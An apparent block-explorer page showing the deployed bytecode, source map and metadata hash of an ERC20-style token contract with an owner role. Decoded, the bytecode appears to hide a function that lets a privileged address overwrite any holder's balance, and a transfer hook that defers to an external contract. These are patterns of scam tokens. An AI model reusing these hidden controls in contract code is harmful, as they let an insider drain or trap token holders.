5b61036b60006107a9565b565b6103967f140f1f5c37a861fe6d912bc017fef84158e8b6b510b17348f61a113179a0dbad6104c6565b546001600160a01b031633146103c75760405162461bcd60e51b81526004016103be90610aa4565b60405180910390fd5b6001600160a01b03909116600090815260208190526040902055565b6006546001600160a01b031690565b60606005805461023090610c35565b60008061040c6104c9565b9050600061041a8286610461565b90508381101561043c5760405162461bcd60e51b81526004016103be90610b7e565b6102fe82868684036104cd565b6000806104546104c9565b90506102cb8185856105cb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61049461076a565b6001600160a01b0381166104ba5760405162461bcd60e51b81526004016103be9061099f565b6104c3816107a9565b50565b90565b3390565b6001600160a01b0383166104f35760405162461bcd60e51b81526004016103be90610b3a565b6001600160a01b0382166105195760405162461bcd60e51b81526004016103be906109e5565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610574908590610bc3565b60405180910390a3505050565b600061058d8484610461565b905060001981146105c557818110156105b85760405162461bcd60e51b81526004016103be90610a27565b6105c584848484036104cd565b50505050565b6001600160a01b0383166105f15760405162461bcd60e51b81526004016103be90610af5565b6001600160a01b0382166106175760405162461bcd60e51b81526004016103be9061095c565b61062183836107fb565b6002546064906001600160a01b031663cf6fe7d761063f8480610c1e565b848787426040518663ffffffff1660e01b8152600401610663959493929190610bcc565b602060405180830381600087803b15801561067d57600080fd5b505af1158015610691573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b591906108d2565b6106bf9190610c1e565b506001600160a01b038316600090815260208190526040902054818110156106f95760405162461bcd60e51b81526004016103be90610a5e565b6001600160a01b0380851660008181526020819052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610757908690610bc3565b60405180910390a36105c58484846107ff565b6107726104c9565b6001600160a01b03166107836103e3565b6001600160a01b03161461036b5760405162461bcd60e51b81526004016103be90610ac0565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b5050565b505050565b80356001600160a01b038116811461035457600080fd5b60006020828403121561082c578081fd5b61083582610804565b9392505050565b6000806040838503121561084e578081fd5b61085783610804565b915061086560208401610804565b90509250929050565b600080600060608486031215610882578081fd5b61088b84610804565b925061089960208501610804565b9150604084013590509250925092565b600080604083850312156108bb578182fd5b6108c483610804565b946020939093013593505050565b6000602082840312156108e3578081fd5b5051919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561093557858101830151858201604001528201610919565b818111156109465783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b602080825260029082015261612160f01b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b94855260208501939093526001600160a01b039182166040850152166060830152608082015260a00190565b60ff91909116815260200190565b60008219821115610c1957610c19610c70565b500190565b600082821015610c3057610c30610c70565b500390565b600281046001821680610c4957607f821691505b60208210811415610c6a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220afdd1803aadd8c56d2795e2d345d620882a979efc5421722daa5e2774b7e1ddb64736f6c63430008000033
Deployed Bytecode Sourcemap
22647:81:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12773:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15124:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;13893:108::-;;;:::i;:::-;;;;;;;:::i;15905:295::-;;;;;;:::i;:::-;;:::i;13735:93::-;;;:::i;:::-;;;;;;;:::i;16609:238::-;;;;;;:::i;:::-;;:::i;14064:127::-;;;;;;:::i;:::-;;:::i;2790:103::-;;;:::i;:::-;;17782:234;;;;;;:::i;:::-;;:::i;2142:87::-;;;:::i;:::-;;;;;;;:::i;12992:104::-;;;:::i;17350:424::-;;;;;;:::i;:::-;;:::i;14397:193::-;;;;;;:::i;:::-;;:::i;14653:151::-;;;;;;:::i;:::-;;:::i;3048:201::-;;;;;;:::i;:::-;;:::i;12773:100::-;12827:13;12860:5;12853:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12773:100;:::o;15124:201::-;15207:4;15224:13;15240:12;:10;:12::i;:::-;15224:28;;15263:32;15272:5;15279:7;15288:6;15263:8;:32::i;:::-;-1:-1:-1;15313:4:0;;15124:201;-1:-1:-1;;;15124:201:0:o;13893:108::-;13981:12;;13893:108;:::o;15905:295::-;16036:4;16053:15;16071:12;:10;:12::i;:::-;16053:30;;16094:38;16110:4;16116:7;16125:6;16094:15;:38::i;:::-;16143:27;16153:4;16159:2;16163:6;16143:9;:27::i;:::-;-1:-1:-1;16188:4:0;;15905:295;-1:-1:-1;;;;15905:295:0:o;13735:93::-;13818:2;13735:93;:::o;16609:238::-;16697:4;16714:13;16730:12;:10;:12::i;:::-;16714:28;;16753:64;16762:5;16769:7;16806:10;16778:25;16788:5;16795:7;16778:9;:25::i;:::-;:38;;;;:::i;:::-;16753:8;:64::i;14064:127::-;-1:-1:-1;;;;;14165:18:0;;14138:7;14165:18;;;;;;;;;;;14064:127;;;;:::o;2790:103::-;2028:13;:11;:13::i;:::-;2855:30:::1;2882:1;2855:18;:30::i;:::-;2790:103::o:0;17782:234::-;17870:35;11967:66;17870:26;:35::i;:::-;:41;-1:-1:-1;;;;;17870:41:0;17856:10;:55;17848:70;;;;-1:-1:-1;;;17848:70:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;17989:10:0;;;17929:37;17989:10;;;;;;;;;;:19;17782:234::o;2142:87::-;2215:6;;-1:-1:-1;;;;;2215:6:0;2142:87;:::o;12992:104::-;13048:13;13081:7;13074:14;;;;;:::i;17350:424::-;17443:4;17460:13;17476:12;:10;:12::i;:::-;17460:28;;17499:24;17526:25;17536:5;17543:7;17526:9;:25::i;:::-;17499:52;;17590:15;17570:16;:35;;17562:85;;;;-1:-1:-1;;;17562:85:0;;;;;;;:::i;:::-;17675:60;17684:5;17691:7;17719:15;17700:16;:34;17675:8;:60::i;14397:193::-;14476:4;14493:13;14509:12;:10;:12::i;:::-;14493:28;;14532;14542:5;14549:2;14553:6;14532:9;:28::i;14653:151::-;-1:-1:-1;;;;;14769:18:0;;;14742:7;14769:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14653:151::o;3048:201::-;2028:13;:11;:13::i;:::-;-1:-1:-1;;;;;3137:22:0;::::1;3129:73;;;;-1:-1:-1::0;;;3129:73:0::1;;;;;;;:::i;:::-;3213:28;3232:8;3213:18;:28::i;:::-;3048:201:::0;:::o;5239:195::-;5412:4;5387:40::o;687:98::-;767:10;687:98;:::o;19995:380::-;-1:-1:-1;;;;;20131:19:0;;20123:68;;;;-1:-1:-1;;;20123:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20210:21:0;;20202:68;;;;-1:-1:-1;;;20202:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20283:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;20335:32;;;;;20313:6;;20335:32;:::i;:::-;;;;;;;;19995:380;;;:::o;20666:441::-;20801:24;20828:25;20838:5;20845:7;20828:9;:25::i;:::-;20801:52;;-1:-1:-1;;20868:16:0;:37;20864:236;;20950:6;20930:16;:26;;20922:68;;;;-1:-1:-1;;;20922:68:0;;;;;;;:::i;:::-;21026:51;21035:5;21042:7;21070:6;21051:16;:25;21026:8;:51::i;:::-;20666:441;;;;:::o;18490:1067::-;-1:-1:-1;;;;;18621:18:0;;18613:68;;;;-1:-1:-1;;;18613:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18700:16:0;;18692:64;;;;-1:-1:-1;;;18692:64:0;;;;;;;:::i;:::-;18769:30;18790:4;18796:2;18769:20;:30::i;:::-;18812:4;;19055:3;;-1:-1:-1;;;;;18812:4:0;:70;18939:15;18948:6;;18939:15;:::i;:::-;18969:6;18990:4;19009:2;19026:15;18812:240;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:246;;;;:::i;:::-;-1:-1:-1;;;;;;19093:15:0;;19071:19;19093:15;;;;;;;;;;;19127:21;;;;19119:72;;;;-1:-1:-1;;;19119:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19219:15:0;;;:9;:15;;;;;;;;;;;19237:20;;;19219:38;;19425:13;;;;;;;;;;:23;;;;;;19473:26;;;;;;19251:6;;19473:26;:::i;:::-;;;;;;;;19512:37;19532:4;19538:2;19542:6;19512:19;:37::i;2307:132::-;2382:12;:10;:12::i;:::-;-1:-1:-1;;;;;2371:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;2371:23:0;;2363:68;;;;-1:-1:-1;;;2363:68:0;;;;;;;:::i;3409:191::-;3502:6;;;-1:-1:-1;;;;;3519:17:0;;;-1:-1:-1;;;;;;3519:17:0;;;;;;;3552:40;;3502:6;;;3519:17;3502:6;;3552:40;;3483:16;;3552:40;3409:191;;:::o;21707:106::-;;;:::o;22417:124::-;;;;:::o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:1:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:194::-;;1417:2;1405:9;1396:7;1392:23;1388:32;1385:2;;;1438:6;1430;1423:22;1385:2;-1:-1:-1;1466:16:1;;1375:113;-1:-1:-1;1375:113:1:o;1493:203::-;-1:-1:-1;;;;;1657:32:1;;;;1639:51;;1627:2;1612:18;;1594:102::o;1701:187::-;1866:14;;1859:22;1841:41;;1829:2;1814:18;;1796:92::o;1893:603::-;;2034:2;2063;2052:9;2045:21;2095:6;2089:13;2138:6;2133:2;2122:9;2118:18;2111:34;2163:4;2176:140;2190:6;2187:1;2184:13;2176:140;;;2285:14;;;2281:23;;2275:30;2251:17;;;2270:2;2247:26;2240:66;2205:10;;2176:140;;;2334:6;2331:1;2328:13;2325:2;;;2404:4;2399:2;2390:6;2379:9;2375:22;2371:31;2364:45;2325:2;-1:-1:-1;2480:2:1;2459:15;-1:-1:-1;;2455:29:1;2440:45;;;;2487:2;2436:54;;2014:482;-1:-1:-1;;;2014:482:1:o;2501:399::-;2703:2;2685:21;;;2742:2;2722:18;;;2715:30;2781:34;2776:2;2761:18;;2754:62;-1:-1:-1;;;2847:2:1;2832:18;;2825:33;2890:3;2875:19;;2675:225::o;2905:402::-;3107:2;3089:21;;;3146:2;3126:18;;;3119:30;3185:34;3180:2;3165:18;;3158:62;-1:-1:-1;;;3251:2:1;3236:18;;3229:36;3297:3;3282:19;;3079:228::o;3312:398::-;3514:2;3496:21;;;3553:2;3533:18;;;3526:30;3592:34;3587:2;3572:18;;3565:62;-1:-1:-1;;;3658:2:1;3643:18;;3636:32;3700:3;3685:19;;3486:224::o;3715:353::-;3917:2;3899:21;;;3956:2;3936:18;;;3929:30;3995:31;3990:2;3975:18;;3968:59;4059:2;4044:18;;3889:179::o;4073:402::-;4275:2;4257:21;;;4314:2;4294:18;;;4287:30;4353:34;4348:2;4333:18;;4326:62;-1:-1:-1;;;4419:2:1;4404:18;;4397:36;4465:3;4450:19;;4247:228::o;4480:325::-;4682:2;4664:21;;;4721:1;4701:18;;;4694:29;-1:-1:-1;;;4754:2:1;4739:18;;4732:32;4796:2;4781:18;;4654:151::o;4810:356::-;5012:2;4994:21;;;5031:18;;;5024:30;5090:34;5085:2;5070:18;;5063:62;5157:2;5142:18;;4984:182::o;5171:401::-;5373:2;5355:21;;;5412:2;5392:18;;;5385:30;5451:34;5446:2;5431:18;;5424:62;-1:-1:-1;;;5517:2:1;5502:18;;5495:35;5562:3;5547:19;;5345:227::o;5577:400::-;5779:2;5761:21;;;5818:2;5798:18;;;5791:30;5857:34;5852:2;5837:18;;5830:62;-1:-1:-1;;;5923:2:1;5908:18;;5901:34;5967:3;5952:19;;5751:226::o;5982:401::-;6184:2;6166:21;;;6223:2;6203:18;;;6196:30;6262:34;6257:2;6242:18;;6235:62;-1:-1:-1;;;6328:2:1;6313:18;;6306:35;6373:3;6358:19;;6156:227::o;6388:177::-;6534:25;;;6522:2;6507:18;;6489:76::o;6570:519::-;6829:25;;;6885:2;6870:18;;6863:34;;;;-1:-1:-1;;;;;6971:15:1;;;6966:2;6951:18;;6944:43;7023:15;7018:2;7003:18;;6996:43;7070:3;7055:19;;7048:35;6816:3;6801:19;;6783:306::o;7094:184::-;7266:4;7254:17;;;;7236:36;;7224:2;7209:18;;7191:87::o;7283:128::-;;7354:1;7350:6;7347:1;7344:13;7341:2;;;7360:18;;:::i;:::-;-1:-1:-1;7396:9:1;;7331:80::o;7416:125::-;;7484:1;7481;7478:8;7475:2;;;7489:18;;:::i;:::-;-1:-1:-1;7526:9:1;;7465:76::o;7546:380::-;7631:1;7621:12;;7678:1;7668:12;;;7689:2;;7743:4;7735:6;7731:17;7721:27;;7689:2;7796;7788:6;7785:14;7765:18;7762:38;7759:2;;;7842:10;7837:3;7833:20;7830:1;7823:31;7877:4;7874:1;7867:15;7905:4;7902:1;7895:15;7759:2;;7601:325;;;:::o;7931:127::-;7992:10;7987:3;7983:20;7980:1;7973:31;8023:4;8020:1;8013:15;8047:4;8044:1;8037:15
Swarm Source
ipfs://afdd1803aadd8c56d2795e2d345d620882a979efc5421722daa5e2774b7e1ddb
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.